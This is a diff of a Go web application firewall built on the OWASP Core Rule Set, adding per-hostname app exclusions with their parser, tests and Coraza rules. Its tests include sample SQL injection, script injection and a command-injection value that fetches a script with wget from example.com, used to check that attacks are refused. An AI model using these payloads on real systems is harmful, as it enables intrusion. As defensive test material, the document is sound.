// apps reads the setting that is the apps each hostname serves. It is nil
// while the setting is unset, and logged as null, unlike a setting set
// empty.
func (e *environment) apps(name string) map[string][]string {
value, set := e.lookup(name)
if !set {
e.settings = append(e.settings, slog.Any(name, nil))
return nil
}
e.settings = append(e.settings, slog.String(name, value))
apps, err := parseApps(value)
e.check(name, err)
return apps
}
// trapPaths reads the setting that is the list of trap paths. It is empty
// by default.
func (e *environment) trapPaths(name string) []string {
@@ -1849,6 +1880,65 @@ func parseTrapPaths(value string) ([]string, error) {
return paths, nil
}
// parseApps reads the apps each hostname serves: entries separated by
// semicolons, each a hostname, a colon, and a comma-separated list of the
// names coreruleset.AppNames returns, such as
// git.example.com:gitea;cloud.example.com:nextcloud,wordpress. Each
// hostname is a DNS name, without a wildcard. It returns them by hostname
// in lowercase, since a hostname is matched without regard to case. An
// empty value lists no hostname.
func parseApps(value string) (map[string][]string, error) {
apps := map[string][]string{}
if strings.TrimSpace(value) == "" {
return apps, nil
}
for entry := range strings.SplitSeq(value, ";") {
hostname, list, found := strings.Cut(entry, ":")
if !found {
return nil, fmt.Errorf("%q %w", entry, errNotAppsEntry)
}
hostname = strings.ToLower(strings.TrimSpace(hostname))
if hostname == "" {
return nil, fmt.Errorf("%q %w", entry, errNotAppsEntry)
}
if !isZone(hostname) {
return nil, fmt.Errorf("%q %w", hostname, errNotHostname)
}
if _, listed := apps[hostname]; listed {
return nil, fmt.Errorf("%q %w", hostname, errListedTwice)
}
names, err := parseList(list)
if err != nil {
return nil, err
}
if len(names) == 0 {
return nil, fmt.Errorf("%q %w", entry, errNotAppsEntry)
}
for i, name := range names {
if !slices.Contains(coreruleset.AppNames(), name) {
return nil, fmt.Errorf("%q %w %s", name, errNotApp,
strings.Join(coreruleset.AppNames(), ", "))
}
if slices.Contains(names[:i], name) {
return nil, fmt.Errorf("%q %w", name, errListedTwice)
}
}
apps[hostname] = names
}
return apps, nil
}
// parseRuleIDs reads a comma-separated list of the ids of Core Rule Set
// rules, each a whole number above zero and outside firstSetupRuleID to
// lastSetupRuleID.
@@ -2455,7 +2545,8 @@ func MaskZoneKey(zone string) string {
return masked + "." + rest
}
// isZone reports whether each label of zone is as parseZones takes it.
// isZone reports whether each label of zone is as parseZones takes it. It
// also checks the hostnames of SWW_APPS, which are DNS names too.
func isZone(zone string) bool {
for label := range strings.SplitSeq(zone, ".") {
badChar := strings.ContainsFunc(label, func(char rune) bool {
+96
View File
@@ -89,6 +89,7 @@ const (
wafExemptPaths = "SWW_WAF_EXEMPT_PATHS"
wafBodyLimit = "SWW_WAF_BODY_LIMIT"
exclusionsFile = "SWW_CORE_RULE_SET_EXCLUSIONS_FILE"
apps = "SWW_APPS"
trapPaths = "SWW_TRAP_PATHS"
errorBurstThreshold = "SWW_ERROR_BURST_THRESHOLD"
logRemoteURL = "SWW_LOG_REMOTE_URL"
@@ -582,6 +583,100 @@ func TestCoreRuleSetSettings(t *testing.T) {
}
}
// gitea is gitea's name in SWW_APPS.
const gitea = "gitea"
func TestApps(t *testing.T) {
t.Parallel()
for _, tc := range []struct {
env environment
want map[string][]string
}{
{environment{}, nil},
{environment{apps: ""}, map[string][]string{}},
{
environment{apps: "Git.Example.com:gitea; cloud.example.com : gitea "},
map[string][]string{
"git.example.com": {gitea}, "cloud.example.com": {gitea},
},
},
{
environment{apps: "cloud.example.com:gitea,wordpress"},
map[string][]string{"cloud.example.com": {gitea, "wordpress"}},
},
} {
cfg := fromEnvironment(t, tc.env)
if !reflect.DeepEqual(cfg.Apps, tc.want) {
t.Errorf("%v gave %#v, want %#v", tc.env, cfg.Apps, tc.want)
}
}
}
// Unset and set empty, SWW_APPS has opposite effects, so it logs differently.
func TestUnsetAndEmptyAppsAreLoggedDifferently(t *testing.T) {
t.Parallel()
for _, tc := range []struct {
env environment
want string
}{
{environment{}, `"` + apps + `":null`},
{environment{apps: ""}, `"` + apps + `":""`},
} {
var out bytes.Buffer
slog.New(slog.NewJSONHandler(&out, nil)).
Info("starting", "settings", fromEnvironment(t, tc.env))
if !strings.Contains(out.String(), tc.want) {
t.Errorf("%v logged %s, want %s in it", tc.env, out.String(), tc.want)
}
}
}
func TestInvalidAppsStopsTheStart(t *testing.T) {
t.Parallel()
const (
notEntry = " is not a hostname, : and a list of apps, " +
"such as git.example.com:gitea"
notHostname = " is not a DNS name such as git.example.com"
)
for _, tc := range []struct{ value, want string }{
{"git.example.com:gitea;blog.example.com", `"blog.example.com"` + notEntry},
{"git.example.com:gitea;", `""` + notEntry},
{":gitea", `":gitea"` + notEntry},
{"git.example.com:", `"git.example.com:"` + notEntry},
{"*.example.com:gitea", `"*.example.com"` + notHostname},
{"git.example.com/:gitea", `"git.example.com/"` + notHostname},
{"git example.com:gitea", `"git example.com"` + notHostname},
{
"git.example.com:gitea,nextcloud",
`"nextcloud" is not an app sww has fixes for; ` +
`the apps are drupal, gitea, mediawiki, wordpress`,
},
{
"git.example.com:gitea;GIT.example.com:gitea",
`"git.example.com" is listed twice`,
},
{"git.example.com:gitea,gitea", `"gitea" is listed twice`},
{"git.example.com:gitea,", `"gitea," has an empty item in its list`},
} {
t.Run(tc.value, func(t *testing.T) {
t.Parallel()
_, err := config.FromEnvironment(environment{apps: tc.value}.lookupEnv)
want := apps + ": " + tc.want
if err == nil || err.Error() != want {
t.Errorf("error %v, want %s", err, want)
}
})
}
}
func TestWAFBodyLimitOf64K(t *testing.T) {
t.Parallel()
@@ -2589,6 +2684,7 @@ func TestLogsEachSettingWithItsValue(t *testing.T) {
wafExemptPaths: "",
wafBodyLimit: off,
exclusionsFile: "",
apps: "", // logged as null, which decodes as ""
trapPaths: "",
errorBurstThreshold: "30",
logRemoteURL: "",
+111 -73
View File
@@ -1,9 +1,9 @@
// Package coreruleset runs the OWASP Core Rule Set 4.25.0, through Coraza, on the
// method, the URL with its query and the headers of a request, and on its
// body while SWW_WAF_BODY_LIMIT is set, with the ten changes sww
// makes to it and the exclusions in SWW_CORE_RULE_SET_EXCLUSIONS_FILE, as
// "Attack detection" under "Settings" in SPEC.md describes them. It reads no
// response.
// body while SWW_WAF_BODY_LIMIT is set, with the six changes sww
// makes to it, the fixes for the apps SWW_APPS names, and the exclusions in
// SWW_CORE_RULE_SET_EXCLUSIONS_FILE, as "Attack detection" under "Settings"
// in SPEC.md describes them. It reads no response.
//
// sww writes only to its state directory, so Coraza is built with
// its no_fs_access tag, as the Dockerfile and script/build build it: of a
@@ -16,6 +16,8 @@ import (
"errors"
"fmt"
"io"
"maps"
"net"
"net/http"
"net/netip"
"os"
@@ -32,9 +34,8 @@ import (
// directives are the Core Rule Set as sww runs it, with the
// paranoia level for %d, bodyDirectives for the first %s while
// SWW_WAF_BODY_LIMIT is set, the exclusions file for the second,
// giteaExclusions for the third, wordpressExclusions for the fourth, and
// drupalExclusions for the fifth.
// SWW_WAF_BODY_LIMIT is set, the exclusions file for the second, and the
// directives of every app in apps for the third.
// Each rule sww adds has an id from 900000 to 900999, the ids the
// Core Rule Set keeps for the rules that set it up, which
// SWW_WAF_DISABLED_RULES and the exclusions file refuse, so that no
@@ -82,50 +83,28 @@ SecRule ARGUMENTS_LIMIT_REACHED "@eq 1" "id:900300,phase:2,pass,\
# before the rules of phase 1 too.
%s
# The eighth change comes before the rules for the same reason.
# The apps' fixes come before the rules for the same reason.
%s
# The ninth change comes before the rules for the same reason.
%s
# So does the tenth.
%s
# The sixth: only the rules for requests are loaded, and no response is
# The fifth: only the rules for requests are loaded, and no response is
# inspected.
Include @owasp_crs/REQUEST-*.conf
# The third: redirect_uri is not checked for a URL naming an IP address or
# localhost. Coraza matches a parameter name here, and in the fourth,
# without regard to case. ARGS holds the fields of a form data or multipart
# body Coraza reads as well as the query parameters, so a field of one of
# these names is left out too.
# localhost. Coraza matches a parameter name here without regard to case.
# ARGS holds the fields of a form data or multipart body Coraza reads as
# well as the query parameters, so a field of this name is left out too.
SecRuleUpdateTargetById 931100 "!ARGS:redirect_uri"
SecRuleUpdateTargetById 934110 "!ARGS:redirect_uri"
# The fourth: the query parameters in which gitea sends names within a
# repository or its own records, or a page of its own site, are not
# checked against the lists of system files, shell paths and command
# names. Coraza takes one rule id per directive.
SecRuleUpdateTargetById 930120 "!ARGS:path|!ARGS:files|!ARGS:skip-to|\
!ARGS:sub_path|!ARGS:ref|!ARGS:sha|!ARGS:branch|!ARGS:workflow|\
!ARGS:artifactName|!ARGS:redirect_to"
SecRuleUpdateTargetById 932160 "!ARGS:path|!ARGS:files|!ARGS:skip-to|\
!ARGS:sub_path|!ARGS:ref|!ARGS:sha|!ARGS:branch|!ARGS:workflow|\
!ARGS:artifactName|!ARGS:redirect_to"
SecRuleUpdateTargetById 932260 "!ARGS:path|!ARGS:files|!ARGS:skip-to|\
!ARGS:sub_path|!ARGS:ref|!ARGS:sha|!ARGS:branch|!ARGS:workflow|\
!ARGS:artifactName|!ARGS:redirect_to"
# The fifth, for Referer: it is not checked for a Unix command without
# arguments, for Java starting a process, or for a Java class name. 944130
# refused every page opened from the page of java.lang.String.md. The
# cookies are left out in Inspect.
# The fourth: Referer is not checked for a Unix command without arguments,
# for Java starting a process, or for a Java class name. 944130 refused
# every page opened from the page of java.lang.String.md.
SecRuleUpdateTargetById 932340 "!REQUEST_HEADERS:Referer"
SecRuleUpdateTargetById 944110 "!REQUEST_HEADERS:Referer"
SecRuleUpdateTargetById 944130 "!REQUEST_HEADERS:Referer"
# The seventh: a container image push that reuses a layer names the image
# The sixth: a container image push that reuses a layer names the image
# it takes the layer from in the query parameter from, which is not
# checked for command names. 932260 refused the push of a layer from
# owner/python3-app.
@@ -175,32 +154,49 @@ SecRule MULTIPART_STRICT_ERROR "!@eq 0" "id:900450,phase:2,pass,\
severity:'CRITICAL',setvar:'tx.inbound_anomaly_score_pl1=+5'"
`
// giteaExclusions are the eighth change: the fields of gitea's own
// requests that skip the rules that refused them there, as Coraza
// directives.
//
// app is an app whose ordinary requests the Core Rule Set would refuse,
// with the fixes that let them pass.
type app struct {
// directives are Coraza exclusions, loaded before the Core Rule Set's
// rules. Their first rule skips to the marker they end with, unless
// Inspect sets the transaction variable named for the app, such as
// app_gitea. The skip reaches only phase 1, so a rule of a later phase
// must check that variable itself.
directives string
// cookies are the cookies the Core Rule Set reads a request without.
cookies []string
}
//go:embed gitea.conf
var giteaExclusions string
var giteaDirectives string
// wordpressExclusions are the ninth change: the fields of WordPress's own
// requests that skip the rules that refused them there, as Coraza
// directives.
//
//go:embed wordpress.conf
var wordpressExclusions string
var wordpressDirectives string
// drupalExclusions are the tenth change: the fields of Drupal's own
// requests that skip the rules that refused them there, as Coraza
// directives.
//
//go:embed drupal.conf
var drupalExclusions string
var drupalDirectives string
// cookiesNotRead are the cookies the Core Rule Set reads a request
// without, the rest of the fifth change.
//go:embed mediawiki.conf
var mediawikiDirectives string
// apps are the apps whose fixes sww has, by the name SWW_APPS gives each.
//
//nolint:gochecknoglobals // a constant cannot be a list
var cookiesNotRead = []string{"gitea_flash", "redirect_to"}
//nolint:gochecknoglobals // a constant cannot be a map
var apps = map[string]app{
"drupal": {directives: drupalDirectives},
"gitea": {
directives: giteaDirectives,
cookies: []string{"gitea_flash", "redirect_to"},
},
"mediawiki": {directives: mediawikiDirectives},
"wordpress": {directives: wordpressDirectives},
}
// AppNames returns the names of the apps whose fixes sww has, in
// alphabetical order.
func AppNames() []string {
return slices.Sorted(maps.Keys(apps))
}
// Params are what New needs.
type Params struct {
@@ -216,6 +212,10 @@ type Params struct {
// Core Rule Set's rules (SWW_CORE_RULE_SET_EXCLUSIONS_FILE), "" while
// there is none.
ExclusionsFile string
// Apps are the names of the apps each hostname serves, by hostname in
// lowercase (SWW_APPS). A request gets the fixes of its hostname's
// apps only, or of every app while Apps is nil.
Apps map[string][]string
}
// The ids of sww's own rules, which an exclusions file may not
@@ -307,13 +307,15 @@ func checkExclusions(exclusions string) error {
type CoreRuleSet struct {
engine coraza.WAF
bodyLimit int64
apps map[string][]string
}
// New returns the Core Rule Set with the ten changes, at params'
// paranoia level, without the rules it switches off, reading request
// bodies up to params' limit, and with params' exclusions file loaded
// before the Core Rule Set's rules. An exclusions file is an error if it
// cannot be read or does not parse, or if checkExclusions refuses it.
// New returns the Core Rule Set with the six changes and the apps' fixes,
// at params' paranoia level, without the rules it switches off, reading
// request bodies up to params' limit, and with params' exclusions file
// loaded before the Core Rule Set's rules. An exclusions file is an error
// if it cannot be read or does not parse, or if checkExclusions refuses
// it.
func New(params Params) (*CoreRuleSet, error) {
body := ""
if params.BodyLimit > 0 {
@@ -336,8 +338,13 @@ func New(params Params) (*CoreRuleSet, error) {
}
}
var fixes strings.Builder
for _, name := range AppNames() {
fixes.WriteString(apps[name].directives + "\n")
}
text := fmt.Sprintf(directives, params.ParanoiaLevel, body, exclusions,
giteaExclusions, wordpressExclusions, drupalExclusions)
fixes.String())
if len(params.DisabledRules) > 0 {
ids := make([]string, len(params.DisabledRules))
@@ -355,7 +362,9 @@ func New(params Params) (*CoreRuleSet, error) {
return nil, fmt.Errorf("load the Core Rule Set: %w", err)
}
return &CoreRuleSet{engine: engine, bodyLimit: params.BodyLimit}, nil
return &CoreRuleSet{
engine: engine, bodyLimit: params.BodyLimit, apps: params.Apps,
}, nil
}
// Result is what the Core Rule Set found in a request.
@@ -367,11 +376,12 @@ type Result struct {
Score int
}
// Inspect runs the Core Rule Set on r, a request from client: on its
// method, its URL with the query, and its headers, the Cookie header
// without the cookies in cookiesNotRead, and on body, r's body as the
// caller has it, as readBody reads it. It returns what it found, what it
// read of body, and the error that ended the reading early, if one did.
// Inspect runs the Core Rule Set on r, a request from client, with the
// fixes of the apps appsFor names for r's hostname: on its method, its URL
// with the query, and its headers, the Cookie header without those apps'
// cookies, and on body, r's body as the caller has it, as readBody reads
// it. It returns what it found, what it read of body, and the error that
// ended the reading early, if one did.
func (c *CoreRuleSet) Inspect(
r *http.Request, client netip.Addr, body io.Reader,
) (Result, []byte, error) {
@@ -379,13 +389,24 @@ func (c *CoreRuleSet) Inspect(
// Closing would remove the files Coraza wrote, and it writes none.
defer func() { _ = tx.Close() }()
// The transaction's variables are set only through Coraza's interface
// for plugins.
state := tx.(plugintypes.TransactionState) //nolint:forcetypeassert // every one is
var cookiesNotRead []string
for _, name := range c.appsFor(r.Host) {
state.Variables().TX().Set("app_"+name, []string{"1"})
cookiesNotRead = append(cookiesNotRead, apps[name].cookies...)
}
tx.ProcessConnection(client.String(), 0, "", 0)
tx.ProcessURI(r.URL.String(), r.Method, r.Proto)
for name, values := range r.Header {
for _, value := range values {
if name == "Cookie" {
value = withoutCookiesNotRead(value)
value = withoutCookies(value, cookiesNotRead)
if value == "" {
continue // it held those cookies alone
}
@@ -478,9 +499,26 @@ func score(tx types.Transaction) int {
return n
}
// withoutCookiesNotRead returns value, a Cookie header's, without the
// cookies in cookiesNotRead.
func withoutCookiesNotRead(value string) string {
// appsFor returns the names of the apps whose fixes a request for host,
// its Host header, gets: every app while SWW_APPS is unset, and otherwise
// those SWW_APPS lists for host's name, without the port and in
// lowercase.
func (c *CoreRuleSet) appsFor(host string) []string {
if c.apps == nil {
return AppNames()
}
hostname, _, err := net.SplitHostPort(host)
if err != nil {
hostname = host // it has no port
}
return c.apps[strings.ToLower(hostname)]
}
// withoutCookies returns value, a Cookie header's, without the cookies
// named in cookiesNotRead.
func withoutCookies(value string, cookiesNotRead []string) string {
var kept []string
for cookie := range strings.SplitSeq(value, ";") {
+238 -25
View File
@@ -25,8 +25,8 @@ import (
//nolint:gochecknoglobals // a constant cannot be a list
var defaultDisabledRules = []int{920340, 920420, 920440, 920640, 930130, 930140}
// loaded holds a loader of the Core Rule Set for each set of settings
// the tests have asked for, by the settings, so that each is loaded once.
// loaded holds, for each set of settings the tests have asked for, the
// function that loads the Core Rule Set with them once.
//
//nolint:gochecknoglobals // the tests share it
var loaded = struct {
@@ -35,14 +35,15 @@ var loaded = struct {
loaders map[string]func() (*coreruleset.CoreRuleSet, error)
}{loaders: map[string]func() (*coreruleset.CoreRuleSet, error){}}
// shared returns the Core Rule Set with params, loaded once for every
// test that asks for the same settings.
func shared(t *testing.T, params coreruleset.Params) *coreruleset.CoreRuleSet {
t.Helper()
settings := fmt.Sprintf("%+v", params)
// loaderFor returns the function that loads the Core Rule Set with params
// once, making it the first time params are asked for. %#v writes a nil
// Apps, which gives every app's fixes, apart from an empty one, which
// gives none.
func loaderFor(params coreruleset.Params) func() (*coreruleset.CoreRuleSet, error) {
loaded.Lock()
defer loaded.Unlock()
settings := fmt.Sprintf("%#v", params)
load, found := loaded.loaders[settings]
if !found {
@@ -52,9 +53,15 @@ func shared(t *testing.T, params coreruleset.Params) *coreruleset.CoreRuleSet {
loaded.loaders[settings] = load
}
loaded.Unlock()
return load
}
crs, err := load()
// shared returns the Core Rule Set with params, loaded once for every
// test that asks for the same settings.
func shared(t *testing.T, params coreruleset.Params) *coreruleset.CoreRuleSet {
t.Helper()
crs, err := loaderFor(params)()
if err != nil {
t.Fatalf("load the Core Rule Set: %v", err)
}
@@ -62,9 +69,12 @@ func shared(t *testing.T, params coreruleset.Params) *coreruleset.CoreRuleSet {
return crs
}
// newCoreRuleSet returns the Core Rule Set at paranoia level level, with
// the rules in disabled switched off.
func newCoreRuleSet(t *testing.T, level int, disabled ...int) *coreruleset.CoreRuleSet {
// sharedCoreRuleSet returns the Core Rule Set at paranoia level level,
// with the rules in disabled switched off. The set is shared with every
// test that asks for the same settings.
func sharedCoreRuleSet(
t *testing.T, level int, disabled ...int,
) *coreruleset.CoreRuleSet {
t.Helper()
return shared(t, coreruleset.Params{ParanoiaLevel: level, DisabledRules: disabled})
@@ -190,12 +200,12 @@ func matched(ids ...int) coreruleset.Result {
func atDefaults(t *testing.T) *coreruleset.CoreRuleSet {
t.Helper()
return newCoreRuleSet(t, 1, defaultDisabledRules...)
return sharedCoreRuleSet(t, 1, defaultDisabledRules...)
}
// wantChange checks that crs lets through passes, a request one of the
// ten changes is for, and still finds result in refused, a request like
// it that the change is not for.
// six changes or an app's fixes are for, and still finds result in
// refused, a request like it that they are not for.
func wantChange(
t *testing.T, crs *coreruleset.CoreRuleSet, passes, refused request,
result coreruleset.Result,
@@ -425,8 +435,8 @@ func TestParanoiaLevel(t *testing.T) {
// Accept-Charset is refused from paranoia level 2.
r := get("/", "Accept-Charset: utf-8")
wantResult(t, newCoreRuleSet(t, 1), r, coreruleset.Result{})
wantResult(t, newCoreRuleSet(t, 2), r, matched(920451))
wantResult(t, sharedCoreRuleSet(t, 1), r, coreruleset.Result{})
wantResult(t, sharedCoreRuleSet(t, 2), r, matched(920451))
}
func TestEachDisabledRuleIsSwitchedOff(t *testing.T) {
@@ -436,9 +446,9 @@ func TestEachDisabledRuleIsSwitchedOff(t *testing.T) {
// which adds 3.
r := request{http.MethodTrace, "/", []string{"Host: 192.0.2.1"}}
wantResult(t, newCoreRuleSet(t, 1), r,
wantResult(t, sharedCoreRuleSet(t, 1), r,
coreruleset.Result{RuleIDs: []int{911100, 920350}, Score: 8})
wantResult(t, newCoreRuleSet(t, 1, 920350, 911100), r, coreruleset.Result{})
wantResult(t, sharedCoreRuleSet(t, 1, 920350, 911100), r, coreruleset.Result{})
}
func TestImagePushThatReusesALayerIsNotCheckedForCommandNames(t *testing.T) {
@@ -456,6 +466,123 @@ func TestImagePushThatReusesALayerIsNotCheckedForCommandNames(t *testing.T) {
matched(930120, 932160))
}
// giteaFixed are gitea requests that only gitea's fixes let through, one
// for each kind of fix, each with what the Core Rule Set finds in it
// without them.
//
//nolint:gochecknoglobals // a constant cannot be a list
var giteaFixed = []struct {
request request
result coreruleset.Result
}{
// A search of code, on the path of gitea's search.
{get("/explore/code?q=SELECT%20*%20FROM%20users%20WHERE"), matched(942100)},
// A file name, in a parameter gitea sends names in, on any path.
{get("/?path=.gitignore"), matched(930120)},
// A file name, in a cookie of gitea's.
{
get("/owner/repo", "Cookie: gitea_flash=success%3DFile%2Bpackage.json%2Bdeleted"),
matched(930120),
},
}
// The hostnames of the tests of SWW_APPS: the one that serves gitea, and
// one that serves another app.
const (
giteaHost = "git.example"
otherHost = "blog.example"
)
// gitea is gitea's name in SWW_APPS.
const gitea = "gitea"
// wordpress is WordPress's name in SWW_APPS.
const wordpress = "wordpress"
// withHost returns r sent to host.
func withHost(r request, host string) request {
return request{r.method, r.target, append([]string{"Host: " + host}, r.headers...)}
}
// servingApps returns the Core Rule Set at the defaults, with SWW_APPS
// giving apps.
func servingApps(t *testing.T, apps map[string][]string) *coreruleset.CoreRuleSet {
t.Helper()
return shared(t, coreruleset.Params{
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, Apps: apps,
})
}
func TestAppsUnsetGivesEveryHostnameEveryAppsFixes(t *testing.T) {
t.Parallel()
crs := servingApps(t, nil)
for _, fixed := range giteaFixed {
for _, host := range []string{giteaHost, otherHost} {
wantResult(t, crs, withHost(fixed.request, host), coreruleset.Result{})
}
}
}
func TestListedHostnameGetsItsAppsFixes(t *testing.T) {
t.Parallel()
crs := servingApps(t, map[string][]string{giteaHost: {gitea}})
// The hostname is matched without the port and without regard to case.
for _, host := range []string{giteaHost, "GIT.Example:8443"} {
for _, fixed := range giteaFixed {
wantResult(t, crs, withHost(fixed.request, host), coreruleset.Result{})
}
}
}
func TestUnlistedHostnameGetsTheFullCheck(t *testing.T) {
t.Parallel()
for _, apps := range []map[string][]string{
{giteaHost: {gitea}},
// SWW_APPS set empty lists no hostname.
{},
} {
crs := servingApps(t, apps)
for _, host := range []string{otherHost, otherHost + ":8443", "git.example.org"} {
for _, fixed := range giteaFixed {
wantResult(t, crs, withHost(fixed.request, host), fixed.result)
}
}
}
}
func TestWordPressFixesApplyOnlyToAHostnameThatServesWordPress(t *testing.T) {
t.Parallel()
crs := servingApps(t, map[string][]string{
giteaHost: {gitea}, otherHost: {wordpress},
})
// A search, which only WordPress's fixes let through.
search := get("/?s=python3")
wantResult(t, crs, withHost(search, otherHost), coreruleset.Result{})
wantResult(t, crs, withHost(search, giteaHost), matched(932260))
}
func TestHostnameListingTwoAppsGetsTheFixesOfBoth(t *testing.T) {
t.Parallel()
crs := servingApps(t, map[string][]string{giteaHost: {gitea, wordpress}})
// A file name that only gitea's fixes let through, and a search that only
// WordPress's fixes let through.
for _, target := range []string{"/?path=.gitignore", "/?s=python3"} {
wantResult(t, crs, withHost(get(target), giteaHost), coreruleset.Result{})
}
}
// withExclusions returns the Core Rule Set at the defaults, with the
// exclusions file at path.
func withExclusions(path string) (*coreruleset.CoreRuleSet, error) {
@@ -604,6 +731,43 @@ const (
scriptInjection = "%3Cscript%3Ealert(1)%3C%2Fscript%3E"
)
// hardValues are words that name commands and files, as a query or form
// value. An app's tests check that its fields let them through.
//
//nolint:gochecknoglobals // a constant cannot be a list
var hardValues = []string{"python3", "powershell", "ls%20-la", ".htaccess"}
// wantRecordedRequestsPass checks that none of the recorded ordinary
// requests in the file name in testdata is refused by defaults, which
// reads no body, or by bodies, which reads it. Each request runs as its
// own parallel subtest.
func wantRecordedRequestsPass(
t *testing.T, name string, defaults, bodies *coreruleset.CoreRuleSet,
) {
t.Helper()
const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
for _, recorded := range recordedRequests(t, name) {
t.Run(recorded.Method+" "+recorded.Target, func(t *testing.T) {
t.Parallel()
r := request{recorded.Method, recorded.Target, recorded.Headers}
got, _ := inspectBody(t, defaults, r, recorded.Body)
if got.Score >= threshold {
t.Errorf("%s %s refused: %+v", r.method, r.target, got)
}
got, _ = inspectBody(t, bodies, r, recorded.Body)
if got.Score >= threshold {
t.Errorf("%s %s %.200q refused while bodies are read: %+v",
r.method, r.target, recorded.Body, got)
}
})
}
}
func TestOrdinaryGiteaRequestsPassAndAttacksAreRefused(t *testing.T) {
t.Parallel()
@@ -630,6 +794,25 @@ func TestOrdinaryGiteaRequestsPassAndAttacksAreRefused(t *testing.T) {
}
}
}
// gitea has no owner named api, so these are not a repository's search,
// issues or pull requests. /api/v2/search is Mastodon's search.
for _, path := range []string{
"/api/v2/search",
"/api/v2/issues",
"/api/v2/pulls",
} {
for _, attack := range []string{
sqlInjection,
scriptInjection,
"%3B%20wget%20http%3A%2F%2Fexample.com%2Fx.sh",
} {
target := path + "?q=" + attack
if got := inspect(t, crs, get(target)); got.Score < threshold {
t.Errorf("%s let through: %+v", target, got)
}
}
}
}
// WordPress's paths: signing in, posting a comment, admin-ajax.php, and the
@@ -747,13 +930,16 @@ func wordpressAttackTargets(attack string) []string {
}
}
func TestOrdinaryWordPressRequestsPassAndAttacksAreRefused(t *testing.T) {
t.Parallel()
// wantWordPressRequestsPass checks that the recorded ordinary WordPress
// requests pass defaults, which reads no body, and that those with a body
// pass bodies, which reads it.
func wantWordPressRequestsPass(
t *testing.T, defaults, bodies *coreruleset.CoreRuleSet,
) {
t.Helper()
const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
defaults, bodies := atDefaults(t), readingBodiesUpTo64K(t)
for _, recorded := range recordedRequests(t, "wordpress-requests.txt") {
t.Run(recorded.Method+" "+recorded.Target, func(t *testing.T) {
t.Parallel()
@@ -773,6 +959,16 @@ func TestOrdinaryWordPressRequestsPassAndAttacksAreRefused(t *testing.T) {
}
})
}
}
func TestOrdinaryWordPressRequestsPassAndAttacksAreRefused(t *testing.T) {
t.Parallel()
const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
defaults, bodies := atDefaults(t), readingBodiesUpTo64K(t)
wantWordPressRequestsPass(t, defaults, bodies)
for _, attack := range []string{
sqlInjection,
@@ -849,6 +1045,20 @@ func wordpressWords() []struct {
}
}
func TestHostnameListingWordPressLetsItsRecordedRequestsThrough(t *testing.T) {
t.Parallel()
// The requests were recorded on otherHost.
apps := map[string][]string{otherHost: {wordpress}}
bodies := shared(t, coreruleset.Params{
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyLimit: 64<<10 - 1,
Apps: apps,
})
wantWordPressRequestsPass(t, servingApps(t, apps), bodies)
}
// wordpressBlock is the comment that starts every block of WordPress's
// HTML, which rule 941180 matches.
const wordpressBlock = "<!-- wp:paragraph -->"
@@ -1313,6 +1523,9 @@ const (
// injection is an SQL injection, which rule 942100 matches.
const injection = "1' OR '1'='1"
// scriptTag is a script injection, not escaped.
const scriptTag = "<script>alert(1)</script>"
// readingBodies returns the Core Rule Set as sww runs it by
// default, but reading bodies up to bodyLimit.
func readingBodies(t *testing.T) *coreruleset.CoreRuleSet {
+134 -35
View File
@@ -1,22 +1,37 @@
# The tenth change: on Drupal's paths, some fields skip the rules that refused
# Drupal's fixes: on Drupal's paths, some fields skip the rules that refused
# ordinary Drupal requests there. They are the fields where Drupal sends a
# search, a name, a file name or an address. Each exclusion runs with the
# request, before the rules it switches off, so this file is loaded before the
# Core Rule Set's rules. Each comment names a request a rule refused. An
# exclusion on a field of a body applies only when the query has no parameter
# of that name, so it matters only while SWW_WAF_BODY_LIMIT is set.
# of that name, so it matters only while SWW_WAF_BODY_LIMIT is set. The
# exclusions above the comment "The fields below are in bodies" also cover a
# body field of the same name whatever the query holds, and only those below it
# need a query without that name.
#
# Four rules read a search or a name as a command or a system file. Each query
# exclusion below removes these four, and only these, from its fields:
# Each path may start with a language prefix, such as /fr in
# /fr/admin/content. The prefix is two or three letters, then optionally a
# hyphen and more letters, as in /pt-br.
#
# Four rules read a search or a name as a command or a system file:
# 930120: .htaccess
# 932120: powershell
# 932250: ls -la
# 932260: python3
# Two more misfire on destination, the address of a page of results, so
# destination alone skips them:
# Each query exclusion below removes these four from its fields, with two
# exceptions. Rule 900806 removes only 930120 and 932120 from url. Two more
# rules misfire on destination, the address of a page of results, so
# destination alone skips them too:
# 932230: ls -la
# 932235: python3
# Unless SWW_APPS lists drupal for the request's hostname, every rule below is
# skipped. Inspect sets tx.app_drupal when it does.
# The skip reaches only phase 1, so a rule of a later phase must check
# tx.app_drupal itself.
SecRule &TX:app_drupal "@eq 0" \
"id:900790,phase:1,pass,nolog,skipAfter:END_DRUPAL"
# Every admin page's filters and autocompletes, and the page to return to:
# title: /admin/content?title=python3
# name: /admin/content/media?name=python3
@@ -27,7 +42,7 @@
# search: /admin/config/search/path?search=python3
# q: /admin/views/ajax/autocomplete/tag?q=python3
# destination: /admin/content?destination=/admin/content%3Ftitle%3Dpython3
SecRule REQUEST_FILENAME "@rx ^/admin(?:/|$)" \
SecRule REQUEST_FILENAME "@rx ^(?:/[a-z]{2,3}(?:-[a-z]+)?)?/admin(?:/|$)" \
"id:900800,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=930120;ARGS:/^(?:title|name|user|filename|filemime|info|subject|author_name|search|q|destination)$/,\
ctl:ruleRemoveTargetById=932120;ARGS:/^(?:title|name|user|filename|filemime|info|subject|author_name|search|q|destination)$/,\
@@ -37,10 +52,11 @@ SecRule REQUEST_FILENAME "@rx ^/admin(?:/|$)" \
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:title|name|user|filename|filemime|info|subject|author_name|search|q|destination)$/"
# The page to return to, on the other pages Drupal links to with one, such as
# /node/1/edit?destination=/search/node%3Fkeys%3Dpython3 and
# /user/login?destination=/search/node%3Fkeys%3Dpython3.
# /node/1/edit?destination=/search/node%3Fkeys%3Dpython3,
# /node/2/revisions/3/revert?destination=/admin/content%3Ftitle%3Dpython3 and
# /big_pipe/no-js?destination=/admin/content%3Ftitle%3Dpython3.
SecRule REQUEST_FILENAME \
"@rx ^/(?:node/(?:add/[^/]+|[0-9]+/[a-z]+)|comment/[0-9]+/[a-z]+|media/(?:add/[^/]+|[0-9]+/[a-z]+)|taxonomy/term/[0-9]+/[a-z]+|user/[^/]+(?:/[a-z]+)?)$" \
